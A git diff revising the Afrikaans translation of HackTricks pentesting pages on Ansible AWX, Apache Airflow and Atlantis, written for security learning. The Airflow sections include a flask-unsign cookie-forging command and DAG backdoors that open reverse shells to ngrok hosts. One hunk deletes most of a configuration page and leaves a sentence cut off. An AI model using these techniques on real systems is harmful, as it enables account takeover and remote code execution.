diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index 3d22ffbf2..35a85693f 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,6 +1,6 @@ > [!TIP] -> Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> Leer en oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> Leer en oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index 932ac34b4..70d99cc69 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -1,62 +1,62 @@ -# Ansible Tower / AWX / Automation controller Security +# Ansible Tower / AWX / Automatiseringsbeheerder Sekuriteit {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Basiese Inligting -**Ansible Tower** of sy oopbron weergawe [**AWX**](https://github.com/ansible/awx) is ook bekend as **Ansible se gebruikerskoppelvlak, dashboard, en REST API**. Met **rolgebaseerde toegangbeheer**, werkskedulering, en grafiese inventarisbestuur, kan jy jou Ansible-infrastruktuur vanaf 'n moderne UI bestuur. Tower se REST API en opdraglyn koppelvlak maak dit eenvoudig om dit in huidige gereedskap en werksvloeie te integreer. +**Ansible Tower** of sy oopbron weergawe [**AWX**](https://github.com/ansible/awx) is ook bekend as **Ansible se gebruikerskoppelvlak, dashboard, en REST API**. Met **rolgebaseerde toegangbeheer**, werkskedulering, en grafiese inventarisbestuur, kan jy jou Ansible-infrastruktuur vanaf 'n moderne UI bestuur. Tower se REST API en opdraglyn koppelvlak maak dit eenvoudig om dit in huidige gereedskap en werksvloei te integreer. -**Automation Controller is 'n nuwer** weergawe van Ansible Tower met meer vermoëns. +**Automatiseringsbeheerder is 'n nuwer** weergawe van Ansible Tower met meer vermoëns. -### Differences +### Verskille -Volgens [**hierdie**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), is die hoof verskille tussen Ansible Tower en AWX die ontvangde ondersteuning en die Ansible Tower het addisionele funksies soos rolgebaseerde toegangbeheer, ondersteuning vir pasgemaakte API's, en gebruikersgedefinieerde werksvloeie. +Volgens [**hierdie**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), is die hoofverskille tussen Ansible Tower en AWX die ontvangde ondersteuning en die Ansible Tower het addisionele funksies soos rolgebaseerde toegangbeheer, ondersteuning vir pasgemaakte API's, en gebruikersgedefinieerde werksvloei. -### Tech Stack +### Tegnologie Stapel -- **Web Interface**: Dit is die grafiese koppelvlak waar gebruikers inventarisse, akrediteer, sjablone, en werksgeleenthede kan bestuur. Dit is ontwerp om intuïtief te wees en bied visualiseringe om te help met die begrip van die toestand en resultate van jou outomatiseringswerk. -- **REST API**: Alles wat jy in die webkoppelvlak kan doen, kan jy ook via die REST API doen. Dit beteken jy kan AWX/Tower met ander stelsels integreer of aksies skryf wat jy tipies in die koppelvlak sou uitvoer. -- **Database**: AWX/Tower gebruik 'n databasis (tipies PostgreSQL) om sy konfigurasie, werksresultate, en ander nodige operasionele data te stoor. +- **Web Koppelvlak**: Dit is die grafiese koppelvlak waar gebruikers inventarisse, akrediteer, sjablone, en werksgeleenthede kan bestuur. Dit is ontwerp om intuïtief te wees en bied visualisasies om te help met die begrip van die toestand en resultate van jou automatiseringswerk. +- **REST API**: Alles wat jy in die web koppelvlak kan doen, kan jy ook via die REST API doen. Dit beteken jy kan AWX/Tower met ander stelsels integreer of aksies skryf wat jy tipies in die koppelvlak sou uitvoer. +- **Databasis**: AWX/Tower gebruik 'n databasis (tipies PostgreSQL) om sy konfigurasie, werksresultate, en ander nodige operasionele data te stoor. - **RabbitMQ**: Dit is die boodskapstelsel wat deur AWX/Tower gebruik word om tussen die verskillende komponente te kommunikeer, veral tussen die webdiens en die taaklopers. - **Redis**: Redis dien as 'n kas en 'n agtergrond vir die taaklyn. -### Logical Components +### Logiese Komponente -- **Inventories**: 'n Inventaris is 'n **versameling van gasheers (of nodes)** teenoor welke **werksgeleenthede** (Ansible playbooks) kan **loop**. AWX/Tower laat jou toe om jou inventarisse te definieer en te groepeer en ondersteun ook dinamiese inventarisse wat **gasheerlyste van ander stelsels kan haal** soos AWS, Azure, ens. -- **Projects**: 'n Projek is in wese 'n **versameling van Ansible playbooks** wat afkomstig is van 'n **weergawebeheerstelsel** (soos Git) om die nuutste playbooks te trek wanneer nodig. -- **Templates**: Werk sjablone definieer **hoe 'n spesifieke playbook uitgevoer sal word**, wat die **inventaris**, **akrediteer**, en ander **parameters** vir die werk spesifiseer. -- **Credentials**: AWX/Tower bied 'n veilige manier om **geheime te bestuur en te stoor, soos SSH sleutels, wagwoorde, en API tokens**. Hierdie akrediteer kan met werksjablone geassosieer word sodat playbooks die nodige toegang het wanneer hulle loop. -- **Task Engine**: Dit is waar die magie gebeur. Die taak enjin is gebou op Ansible en is verantwoordelik vir **die uitvoering van die playbooks**. Werksgeleenthede word na die taak enjin gestuur, wat dan die Ansible playbooks teen die aangewese inventaris met die gespesifiseerde akrediteer uitvoer. -- **Schedulers and Callbacks**: Dit is gevorderde funksies in AWX/Tower wat toelaat dat **werksgeleenthede geskeduleer kan word** om op spesifieke tye te loop of geaktiveer te word deur eksterne gebeurtenisse. -- **Notifications**: AWX/Tower kan kennisgewings stuur gebaseer op die sukses of mislukking van werksgeleenthede. Dit ondersteun verskeie middele van kennisgewings soos e-pos, Slack boodskappe, webhooks, ens. -- **Ansible Playbooks**: Ansible playbooks is konfigurasie, ontplooiing, en orkestrasie gereedskap. Hulle beskryf die gewenste toestand van stelsels op 'n geoutomatiseerde, herhaalbare manier. Geskryf in YAML, gebruik playbooks Ansible se verklarende outomatiserings taal om konfigurasies, take, en stappe wat uitgevoer moet word te beskryf. +- **Inventarisse**: 'n Inventaris is 'n **versameling van gasheers (of nodes)** teenoor wie se **werksgeleenthede** (Ansible speelboeke) kan **loop**. AWX/Tower laat jou toe om jou inventarisse te definieer en te groepeer en ondersteun ook dinamiese inventarisse wat **gasheerlyste van ander stelsels** soos AWS, Azure, ens. kan **verkry**. +- **Projekte**: 'n Projek is in wese 'n **versameling van Ansible speelboeke** wat afkomstig is van 'n **weergawebeheerstelsel** (soos Git) om die nuutste speelboeke te trek wanneer nodig. +- **Sjablone**: Werk sjablone definieer **hoe 'n spesifieke speelboek uitgevoer sal word**, wat die **inventaris**, **akrediteer**, en ander **parameters** vir die werk spesifiseer. +- **Akrediteer**: AWX/Tower bied 'n veilige manier om **geheime, soos SSH sleutels, wagwoorde, en API tokens** te **bestuur en te stoor**. Hierdie akrediteer kan met werksjablone geassosieer word sodat speelboeke die nodige toegang het wanneer hulle loop. +- **Taak Enjin**: Dit is waar die magie gebeur. Die taak enjin is gebou op Ansible en is verantwoordelik vir **die uitvoering van die speelboeke**. Werksgeleenthede word na die taak enjin gestuur, wat dan die Ansible speelboeke teen die aangewese inventaris met die gespesifiseerde akrediteer uitvoer. +- **Skeerders en Terugroepe**: Dit is gevorderde funksies in AWX/Tower wat toelaat dat **werksgeleenthede geskeduleer** kan word om op spesifieke tye te loop of geaktiveer te word deur eksterne gebeurtenisse. +- **Kennisgewings**: AWX/Tower kan kennisgewings stuur gebaseer op die sukses of mislukking van werksgeleenthede. Dit ondersteun verskeie middele van kennisgewings soos e-pos, Slack boodskappe, webhooks, ens. +- **Ansible Speelboeke**: Ansible speelboeke is konfigurasie, ontplooiing, en orkestrasie gereedskap. Hulle beskryf die gewenste toestand van stelsels op 'n geoutomatiseerde, herhaalbare manier. Geskryf in YAML, gebruik speelboeke Ansible se verklarende outomatiseringstaal om konfigurasies, take, en stappe wat uitgevoer moet word te beskryf. -### Job Execution Flow +### Werk Uitvoering Stroom -1. **User Interaction**: 'n gebruiker kan met AWX/Tower interaksie hê of deur die **Web Interface** of die **REST API**. Hierdie bied front-end toegang tot al die funksies wat deur AWX/Tower aangebied word. -2. **Job Initiation**: -- Die gebruiker, via die Web Interface of API, begin 'n werk gebaseer op 'n **Job Template**. -- Die Job Template sluit verwysings in na die **Inventaris**, **Project** (wat die playbook bevat), en **Credentials**. -- By werkinitiëring, word 'n versoek na die AWX/Tower agtergrond gestuur om die werk vir uitvoering te plaas. -3. **Job Queuing**: -- **RabbitMQ** hanteer die boodskappe tussen die webkomponent en die taaklopers. Sodra 'n werk geïnisieer is, word 'n boodskap na die taak enjin gestuur met behulp van RabbitMQ. -- **Redis** dien as die agtergrond vir die taaklyn, wat gequeue werksgeleenthede wat op uitvoering wag bestuur. -4. **Job Execution**: -- Die **Task Engine** neem die gequeue werk op. Dit haal die nodige inligting van die **Database** oor die werk se geassosieerde playbook, inventaris, en akrediteer. -- Met die onttrokken Ansible playbook van die geassosieerde **Project**, voer die Task Engine die playbook teen die gespesifiseerde **Inventaris** nodes uit met die verskafde **Credentials**. -- Soos die playbook loop, word sy uitvoeringsuitset (logs, feite, ens.) vasgevang en in die **Database** gestoor. -5. **Job Results**: -- Sodra die playbook klaar is met loop, word die resultate (sukses, mislukking, logs) in die **Database** gestoor. -- Gebruikers kan dan die resultate deur die Web Interface sien of dit via die REST API opvra. -- Gebaseer op werksuitkomste, kan **Notifications** gestuur word om gebruikers of eksterne stelsels oor die werk se status in te lig. Kennisgewings kan e-posse, Slack boodskappe, webhooks, ens. wees. -6. **External Systems Integration**: -- **Inventories** kan dinamies van eksterne stelsels verkry word, wat AWX/Tower toelaat om gasheers van bronne soos AWS, Azure, VMware, en meer in te trek. -- **Projects** (playbooks) kan van weergawebeheerstelsels verkry word, wat die gebruik van op-datum playbooks tydens werksuitvoering verseker. -- **Schedulers and Callbacks** kan gebruik word om met ander stelsels of gereedskap te integreer, wat AWX/Tower laat reageer op eksterne triggers of werksgeleenthede op voorafbepaalde tye laat loop. +1. **Gebruiker Interaksie**: 'n Gebruiker kan met AWX/Tower interaksie hê deur die **Web Koppelvlak** of die **REST API**. Hierdie bied front-end toegang tot al die funksies wat deur AWX/Tower aangebied word. +2. **Werk Inisiasie**: +- Die gebruiker, via die Web Koppelvlak of API, inisieer 'n werk gebaseer op 'n **Werk Sjabloon**. +- Die Werk Sjabloon sluit verwysings in na die **Inventaris**, **Projekt** (wat die speelboek bevat), en **Akrediteer**. +- By werk inisiasie, word 'n versoek na die AWX/Tower agtergrond gestuur om die werk vir uitvoering te plaas. +3. **Werk Plasing**: +- **RabbitMQ** hanteer die boodskappe tussen die webkomponent en die taaklopers. Sodra 'n werk geinisieer is, word 'n boodskap na die taak enjin gestuur met behulp van RabbitMQ. +- **Redis** dien as die agtergrond vir die taaklyn, wat geplaasde werksgeleenthede wat op uitvoering wag, bestuur. +4. **Werk Uitvoering**: +- Die **Taak Enjin** neem die geplaatste werk op. Dit verkry die nodige inligting van die **Databasis** oor die werk se geassosieerde speelboek, inventaris, en akrediteer. +- Met die verkrygde Ansible speelboek van die geassosieerde **Projekt**, voer die Taak Enjin die speelboek teen die gespesifiseerde **Inventaris** nodes uit met die verskafde **Akrediteer**. +- Soos die speelboek loop, word die uitvoeringsuitset (logs, feite, ens.) vasgevang en in die **Databasis** gestoor. +5. **Werk Resultate**: +- Sodra die speelboek klaar is met loop, word die resultate (sukses, mislukking, logs) in die **Databasis** gestoor. +- Gebruikers kan dan die resultate deur die Web Koppelvlak sien of dit via die REST API opvra. +- Gebaseer op werksuitkomste, kan **Kennisgewings** gestuur word om gebruikers of eksterne stelsels oor die werk se status in te lig. Kennisgewings kan e-posse, Slack boodskappe, webhooks, ens. wees. +6. **Eksterne Stelsels Integrasie**: +- **Inventarisse** kan dinamies van eksterne stelsels verkry word, wat AWX/Tower toelaat om gasheers van bronne soos AWS, Azure, VMware, en meer in te trek. +- **Projekte** (speelboeke) kan van weergawebeheerstelsels verkry word, wat die gebruik van op-datum speelboeke tydens werk uitvoering verseker. +- **Skeerders en Terugroepe** kan gebruik word om met ander stelsels of gereedskap te integreer, wat AWX/Tower toelaat om op eksterne triggers te reageer of werksgeleenthede op voorafbepaalde tye uit te voer. -### AWX lab creation for testing +### AWX laboratoriumskepping vir toetsing -[**Volg die docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) is dit moontlik om docker-compose te gebruik om AWX te loop: +[**Volg die dokumentasie**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) is dit moontlik om docker-compose te gebruik om AWX te loop: ```bash git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version @@ -86,50 +86,50 @@ docker exec tools_awx_1 awx-manage create_preload_data ### Ondersteunde rolle -Die mees bevoorregte rol word **Sisteem Administrateur** genoem. Enige iemand met hierdie rol kan **enige iets** **wysig**. +Die mees bevoorregte rol word **Stelselsadministrateur** genoem. Enigeen met hierdie rol kan **enige iets** **wysig**. -Vanuit 'n **wit boks sekuriteit** hersiening, sal jy die **Sisteem Ouditeur rol** benodig, wat toelaat om **alle stelseldatas** te **bekyk** maar nie enige veranderinge kan aanbring nie. 'n Ander opsie sou wees om die **Organisasie Ouditeur rol** te verkry, maar dit sou beter wees om die ander een te kry. +Vanuit 'n **wit boks sekuriteit** hersiening, sal jy die **Stelselauditor rol** benodig, wat toelaat om **alle stelseldatas** te **bekyk** maar geen veranderinge kan aanbring nie. 'n Ander opsie sou wees om die **Organisasieauditor rol** te verkry, maar dit sou beter wees om die ander een te kry.
-Breek dit uit om 'n gedetailleerde beskrywing van beskikbare rolle te kry +Breek uit om 'n gedetailleerde beskrywing van beskikbare rolle te kry -1. **Sisteem Administrateur**: -- Dit is die supergebruiker rol met toestemmings om toegang te verkry en enige hulpbron in die stelsel te wysig. +1. **Stelselsadministrateur**: +- Dit is die supergebruiker rol met toestemmings om enige hulpbron in die stelsel te benader en te wysig. - Hulle kan alle organisasies, spanne, projekte, inventarisse, werksjablone, ens. bestuur. -2. **Sisteem Ouditeur**: -- Gebruikers met hierdie rol kan alle stelseldatas bekijk maar nie enige veranderinge aanbring nie. +2. **Stelselauditor**: +- Gebruikers met hierdie rol kan alle stelseldatas bekijk maar kan geen veranderinge aanbring nie. - Hierdie rol is ontwerp vir nakoming en toesig. 3. **Organisasie Rolle**: - **Admin**: Volle beheer oor die organisasie se hulpbronne. -- **Ouditeur**: Slegs lees toegang tot die organisasie se hulpbronne. +- **Auditor**: Slegs lees toegang tot die organisasie se hulpbronne. - **Lid**: Basiese lidmaatskap in 'n organisasie sonder enige spesifieke toestemmings. -- **Voer Uit**: Kan werksjablone binne die organisasie uitvoer. +- **Voer uit**: Kan werksjablone binne die organisasie uitvoer. - **Lees**: Kan die organisasie se hulpbronne bekijk. -4. **Projekt Rolle**: +4. **Projektrolle**: - **Admin**: Kan die projek bestuur en wysig. - **Gebruik**: Kan die projek in 'n werksjabloon gebruik. - **Opdateer**: Kan die projek opdateer met SCM (bronbeheer). -5. **Inventaris Rolle**: +5. **Inventariserolle**: - **Admin**: Kan die inventaris bestuur en wysig. - **Ad Hoc**: Kan ad hoc opdragte op die inventaris uitvoer. - **Opdateer**: Kan die inventarisbron opdateer. - **Gebruik**: Kan die inventaris in 'n werksjabloon gebruik. - **Lees**: Slegs lees toegang. -6. **Werksjabloon Rolle**: +6. **Werksjabloonrolle**: - **Admin**: Kan die werksjabloon bestuur en wysig. -- **Voer Uit**: Kan die werk uitvoer. +- **Voer uit**: Kan die werk uitvoer. - **Lees**: Slegs lees toegang. 7. **Geloofsbriewe Rolle**: - **Admin**: Kan die geloofsbriewe bestuur en wysig. - **Gebruik**: Kan die geloofsbriewe in werksjablone of ander relevante hulpbronne gebruik. - **Lees**: Slegs lees toegang. -8. **Span Rolle**: +8. **Spanrolle**: - **Lid**: Deel van die span maar sonder enige spesifieke toestemmings. - **Admin**: Kan die span se lede en geassosieerde hulpbronne bestuur. 9. **Werkvloei Rolle**: - **Admin**: Kan die werkvloei bestuur en wysig. -- **Voer Uit**: Kan die werkvloei uitvoer. +- **Voer uit**: Kan die werkvloei uitvoer. - **Lees**: Slegs lees toegang.
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index 389611d80..79a996769 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -1,12 +1,12 @@ -# Apache Airflow Security +# Apache Airflow Sekuriteit {{#include ../../banners/hacktricks-training.md}} ### Basiese Inligting -[**Apache Airflow**](https://airflow.apache.org) dien as 'n platform vir **die orkestrering en skedulering van datapipelines of werksvloei**. Die term "orkestrering" in die konteks van datapipelines dui op die proses van die rangskikking, koördinering en bestuur van komplekse dataverkies wat uit verskeie bronne ontstaan. Die primêre doel van hierdie georkestreerde datapipelines is om verwerkte en verbruikbare datastelle te verskaf. Hierdie datastelle word wyd gebruik deur 'n menigte toepassings, insluitend maar nie beperk tot besigheidsintelligensie-instrumente, datawetenskap en masjienleer modelle, wat almal fundamenteel is vir die funksionering van groot data toepassings. +[**Apache Airflow**](https://airflow.apache.org) dien as 'n platform vir **die orkestrering en skedulering van datapipelines of werksvloei**. Die term "orkestrering" in die konteks van datapipelines dui op die proses van rangskikking, koördinering en bestuur van komplekse dataverkies wat uit verskeie bronne ontstaan. Die primêre doel van hierdie georkestreerde datapipelines is om verwerkte en verbruikbare datastelle te verskaf. Hierdie datastelle word wyd gebruik deur 'n menigte toepassings, insluitend maar nie beperk tot besigheidsintelligensie-instrumente, datawetenskap en masjienleer modelle, wat almal fundamenteel is vir die funksionering van groot data toepassings. -Basies sal Apache Airflow jou toelaat om **die uitvoering van kode te skeduleer wanneer iets** (gebeurtenis, cron) **gebeur**. +Basies, Apache Airflow sal jou toelaat om **die uitvoering van kode te skeduleer wanneer iets** (gebeurtenis, cron) **gebeur**. ### Plaaslike Laboratorium @@ -28,7 +28,7 @@ helm delete airflow-release ``` ### Airflow Konfigurasie -Airflow mag **sensitiewe inligting** in sy konfigurasie stoor of jy kan swak konfigurasies in plek vind: +Airflow mag **sensitiewe inligting** in sy konfigurasie stoor of jy kan swak konfigurasies vind: {{#ref}} airflow-configuration.md @@ -44,7 +44,7 @@ airflow-rbac.md ### Aanvalle -#### Web Konsolering +#### Web Konsol Enumerasie As jy **toegang tot die webkonsol** het, mag jy in staat wees om sommige of al die volgende inligting te bekom: @@ -62,22 +62,22 @@ Airflow sal standaard die waarde van die veranderlike in die GUI wys, egter, vol ![](<../../images/image (164).png>) -Egter, hierdie **waardes** kan steeds **herwin** word via **CLI** (jy moet DB toegang hê), **arbitraire DAG** uitvoering, **API** toegang tot die veranderlikes eindpunt (die API moet geaktiveer wees), en **selfs die GUI self!**\ +Egter, hierdie **waardes** kan steeds **herwin** word via **CLI** (jy moet DB toegang hê), **arbitraire DAG** uitvoering, **API** toegang tot die veranderlikes eindpunt (die API moet geaktiveer wees), en **selfs die GUI!**\ Om toegang tot daardie waardes vanaf die GUI te verkry, kies net die **veranderlikes** wat jy wil toegang en **klik op Aksies -> Eksporteer**.\ 'n Ander manier is om 'n **bruteforce** op die **verborge waarde** uit te voer deur die **soekfilter** totdat jy dit kry: ![](<../../images/image (152).png>) -#### Privilege Escalatie +#### Privilege Escalation -As die **`expose_config`** konfigurasie op **Waar** gestel is, kan die **rol Gebruiker** en **bo** die **konfig in die web** **lees**. In hierdie konfig, verskyn die **`secret_key`**, wat beteken enige gebruiker met hierdie geldige kan **sy eie onderteken koekie skep om enige ander gebruikersrekening na te boots**. +As die **`expose_config`** konfigurasie op **Waar** gestel is, kan die **rol Gebruiker** en **bo** die **konfig in die web** **lees**. In hierdie konfig, verskyn die **`secret_key`**, wat beteken enige gebruiker met hierdie geldige kan **sy eie ondertekende koekie skep om enige ander gebruikersrekening na te volg**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` -#### DAG Backdoor (RCE in Airflow worker) +#### DAG Agterdeur (RCE in Airflow werker) As jy **skrywe toegang** het tot die plek waar die **DAGs gestoor word**, kan jy eenvoudig **een skep** wat vir jou 'n **omgekeerde skulp** sal stuur.\ -Let daarop dat hierdie omgekeerde skulp binne 'n **airflow worker container** uitgevoer gaan word: +Let daarop dat hierdie omgekeerde skulp binne 'n **airflow werker houer** uitgevoer gaan word: ```python import pendulum from airflow import DAG @@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} ``` #### DAG Backdoor (RCE in Airflow scheduler) -As jy iets stel om **uitgevoer te word in die wortel van die kode**, op die oomblik van hierdie skrywe, sal dit **deur die skeduleerder uitgevoer word** na 'n paar sekondes nadat dit binne die DAG se gids geplaas is. +As jy iets stel om **uitgevoer te word in die wortel van die kode**, op die oomblik van hierdie skrywe, sal dit **deur die skeduler uitgevoer word** na 'n paar sekondes nadat dit binne die DAG se gids geplaas is. ```python import pendulum, socket, os, pty from airflow import DAG @@ -144,7 +144,7 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` #### DAG Skepping -As jy daarin slaag om 'n **masjien binne die DAG-kluster te kompromitteer**, kan jy nuwe **DAG-skripte** in die `dags/` gids skep en hulle sal **in die res van die masjiene** binne die DAG-kluster **gekopieer word**. +As jy daarin slaag om 'n **masjien binne die DAG-kluster te kompromitteer**, kan jy nuwe **DAGs-skrifte** in die `dags/` gids skep en hulle sal **in die res van die masjiene** binne die DAG-kluster **gekopieer word**. #### DAG Kode Inspuiting @@ -154,7 +154,7 @@ Dit is wat in hierdie CVE gebeur het: [https://www.exploit-db.com/exploits/49927 Alles wat jy moet weet om **te begin soek na opdrag inspuitings in DAGs** is dat **parameters** met die kode **`dag_run.conf.get("param_name")`** **toegang verkry**. -Boonop kan dieselfde kwesbaarheid voorkom met **veranderlikes** (let daarop dat jy met genoeg voorregte die **waarde van die veranderlikes** in die GUI kan **beheer**). Veranderlikes word **toegang verkry met**: +Boonop kan dieselfde kwesbaarheid met **veranderlikes** voorkom (let daarop dat jy met genoeg regte die **waarde van die veranderlikes** in die GUI kan **beheer**). Veranderlikes word **toegang verkry met**: ```python from airflow.models import Variable [...] diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 3fd2d9461..102363edf 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -4,91 +4,7 @@ ## Konfigurasie Lêer -**Apache Airflow** genereer 'n **konfigurasie lêer** in al die airflow masjiene genaamd **`airflow.cfg`** in die huis van die airflow gebruiker. Hierdie konfigurasie lêer bevat konfigurasie-inligting en **kan interessante en sensitiewe inligting bevat.** - -**Daar is twee maniere om toegang tot hierdie lêer te verkry: Deur 'n paar airflow masjiene te kompromitteer, of deur toegang tot die webkonsol.** - -Let daarop dat die **waardes binne die konfigurasie lêer** **nie diegene mag wees wat gebruik word nie**, aangesien jy dit kan oorskryf deur omgewingsveranderlikes soos `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` in te stel. - -As jy toegang het tot die **konfigurasie lêer in die webbediener**, kan jy die **werklike lopende konfigurasie** op dieselfde bladsy waar die konfigurasie vertoon word, nagaan.\ -As jy **toegang het tot 'n paar masjiene binne die airflow omgewing**, kyk na die **omgewing**. - -Sommige interessante waardes om na te kyk wanneer jy die konfigurasie lêer lees: - -### \[api] - -- **`access_control_allow_headers`**: Dit dui die **toegelate** **koppe** vir **CORS** aan -- **`access_control_allow_methods`**: Dit dui die **toegelate metodes** vir **CORS** aan -- **`access_control_allow_origins`**: Dit dui die **toegelate oorspronge** vir **CORS** aan -- **`auth_backend`**: [**Volgens die dokumentasie**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) kan 'n paar opsies in plek wees om te konfigureer wie toegang tot die API kan hê: -- `airflow.api.auth.backend.deny_all`: **Standaard kan niemand** toegang tot die API hê nie -- `airflow.api.auth.backend.default`: **Enigiemand kan** toegang hê sonder verifikasie -- `airflow.api.auth.backend.kerberos_auth`: Om **kerberos-verifikasie** te konfigureer -- `airflow.api.auth.backend.basic_auth`: Vir **basiese verifikasie** -- `airflow.composer.api.backend.composer_auth`: Gebruik komponiste se verifikasie (GCP) (van [**hier**](https://cloud.google.com/composer/docs/access-airflow-api)). -- `composer_auth_user_registration_role`: Dit dui die **rol** aan wat die **komponiste gebruiker** binne **airflow** sal kry (**Op** standaard). -- Jy kan ook jou eie **verifikasie** metode met python skep. -- **`google_key_path`:** Pad na die **GCP diensrekening sleutel** - -### **\[atlas]** - -- **`password`**: Atlas wagwoord -- **`username`**: Atlas gebruikersnaam - -### \[celery] - -- **`flower_basic_auth`** : Kredensiale (_user1:password1,user2:password2_) -- **`result_backend`**: Postgres url wat **kredensiale** kan bevat. -- **`ssl_cacert`**: Pad na die cacert -- **`ssl_cert`**: Pad na die sertifikaat -- **`ssl_key`**: Pad na die sleutel - -### \[core] - -- **`dag_discovery_safe_mode`**: Geaktiveer deur standaard. Wanneer DAGs ontdek word, ignoreer enige lêers wat nie die strings `DAG` en `airflow` bevat nie. -- **`fernet_key`**: Sleutel om versleutelde veranderlikes te stoor (simmetries) -- **`hide_sensitive_var_conn_fields`**: Geaktiveer deur standaard, verberg sensitiewe inligting van verbindings. -- **`security`**: Watter sekuriteitsmodule om te gebruik (byvoorbeeld kerberos) - -### \[dask] - -- **`tls_ca`**: Pad na ca -- **`tls_cert`**: Pad na die sertifikaat -- **`tls_key`**: Pad na die tls sleutel - -### \[kerberos] - -- **`ccache`**: Pad na ccache lêer -- **`forwardable`**: Geaktiveer deur standaard - -### \[logging] - -- **`google_key_path`**: Pad na GCP JSON kredensiale. - -### \[secrets] - -- **`backend`**: Volledige klasnaam van die secrets backend om te aktiveer -- **`backend_kwargs`**: Die backend_kwargs parameter word in 'n woordeboek gelaai en aan **init** van die secrets backend klas oorgedra. - -### \[smtp] - -- **`smtp_password`**: SMTP wagwoord -- **`smtp_user`**: SMTP gebruiker - -### \[webserver] - -- **`cookie_samesite`**: Standaard is dit **Lax**, so dit is reeds die swakste moontlike waarde -- **`cookie_secure`**: Stel **veilige vlag** op die sessie koekie -- **`expose_config`**: Standaard is dit Vals, as waar, kan die **konfigurasie** **gelees** word vanaf die web **konsol** -- **`expose_stacktrace`**: Standaard is dit Waar, dit sal **python tracebacks** vertoon (potensieel nuttig vir 'n aanvaller) -- **`secret_key`**: Dit is die **sleutel wat deur flask gebruik word om die koekies te teken** (as jy dit het, kan jy **enige gebruiker in Airflow naboots**) -- **`web_server_ssl_cert`**: **Pad** na die **SSL** **sertifikaat** -- **`web_server_ssl_key`**: **Pad** na die **SSL** **Sleutel** -- **`x_frame_enabled`**: Standaard is **Waar**, so klikjacking is nie moontlik nie - -### Web Verifikasie - -Standaard word **web verifikasie** in die lêer **`webserver_config.py`** gespesifiseer en is geconfigureer as +**Apache Airflow** genereer 'n **konfigurasie lêer** in al die airflow masjiene genaamd **`airflow.cfg`** in die ```bash AUTH_TYPE = AUTH_DB ``` @@ -96,7 +12,7 @@ Wat beteken dat die **authentisering teen die databasis nagegaan word**. egter, ```bash AUTH_TYPE = AUTH_OAUTH ``` -Om die **verifikasie aan derdeparty-dienste** oor te laat. +Om die **authentisering aan derdeparty dienste** oor te laat. Daar is egter ook 'n opsie om **anonieme gebruikers toegang** te gee, deur die volgende parameter op die **gewenste rol** in te stel: ```bash diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 764af5a2f..8903d4a0e 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -10,7 +10,7 @@ - **`Public`** gebruikers (anoniem) het geen toestemmings nie. - **`Viewer`** gebruikers het beperkte kyktoestemmings (slegs lees). Dit **kan nie die konfigurasie sien nie.** - **`User`** gebruikers het `Viewer` toestemmings plus addisionele gebruikers toestemmings wat hom toelaat om DAGs 'n bietjie te bestuur. Hy **kan die konfigurasie lêer sien.** -- **`Op`** gebruikers het `User` toestemmings plus addisionele operasionele toestemmings. +- **`Op`** gebruikers het `User` toestemmings plus addisionele op toestemmings. Let daarop dat **admin** gebruikers kan **meer rolle skep** met meer **fynere toestemmings**. diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index 21e116f82..74b86fc8c 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -2,72 +2,72 @@ {{#include ../banners/hacktricks-training.md}} -### Basic Information +### Basiese Inligting Atlantis help jou basies om terraform vanaf Pull Requests van jou git bediener te laat loop. ![](<../images/image (161).png>) -### Local Lab +### Plaaslike Laboratorium 1. Gaan na die **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) en **aflaai** die een wat vir jou geskik is. 2. Skep 'n **persoonlike token** (met repo toegang) van jou **github** gebruiker. -3. Voer `./atlantis testdrive` uit en dit sal 'n 